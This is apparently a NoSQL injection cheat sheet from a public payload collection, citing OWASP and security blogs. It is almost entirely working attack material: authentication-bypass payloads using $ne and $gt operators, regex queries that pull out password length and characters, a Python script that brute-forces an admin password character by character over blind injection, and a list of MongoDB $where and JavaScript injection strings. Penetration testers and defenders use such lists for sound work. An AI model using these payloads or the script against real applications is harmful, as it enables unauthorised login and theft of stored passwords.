# NoSQL injection NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. ## Exploit Basic authentication bypass using not equal ($ne) or greater ($gt) ``` in URL username[$ne]=toto&password[$ne]=toto in JSON {"username": {"$ne": null}, "password": {"$ne": null} } {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } {"username": {"$gt": undefined}, "password": {"$gt": undefined} } ``` Extract length information ``` username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{3} ``` Extract data information ``` in URL username[$ne]=toto&password[$regex]=m.{2} username[$ne]=toto&password[$regex]=md.{1} username[$ne]=toto&password[$regex]=mdp username[$ne]=toto&password[$regex]=m.* username[$ne]=toto&password[$regex]=md.* in JSON {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} ``` ## Blind NoSQL ```python import requests import urllib3 import string import urllib urllib3.disable_warnings() username="admin" password="" while True: for c in string.printable: if c not in ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) r = requests.post(u, data = {'ids': payload}, verify = False) if 'OK' in r.text: print("Found one more char : %s" % (password+c)) password += c ``` ## MongoDB Payloads ``` true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1' 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a ' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1}); db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 || 1==1 ' && this.password.match(/.*/)//+%00 ' && this.passwordzz.match(/.*/)//+%00 '%20%26%26%20this.password.match(/.*/)//+%00 '%20%26%26%20this.passwordzz.match(/.*/)//+%00 {$gt: ''} [$ne]=1 ``` ## Thanks to * https://www.dailysecurity.fr/nosql-injections-classique-blind/ * https://www.owasp.org/index.php/Testing_for_NoSQL_injection * https://github.com/cr0hn/nosqlinjection_wordlists * https://zanon.io/posts/nosql-injection-in-mongodb
